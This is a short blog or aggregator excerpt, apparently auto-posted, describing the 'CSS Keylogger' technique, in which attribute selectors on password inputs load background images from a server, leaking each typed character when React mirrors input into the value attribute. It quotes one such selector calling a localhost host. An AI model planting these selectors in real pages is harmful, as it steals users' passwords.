Home » Web » CSS (page 2)


CSS Keylogger

Scary little attack using essentially a bunch of attribute selectors like this: input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); } At first, I was like wait a minute, you can’t select inputs based on what people type in them but only what’s set on the attribute itself. Max Chehab shows how it is possible, however, because React uses “controlled components” that do this ...

Read More »

Powered by WP Robot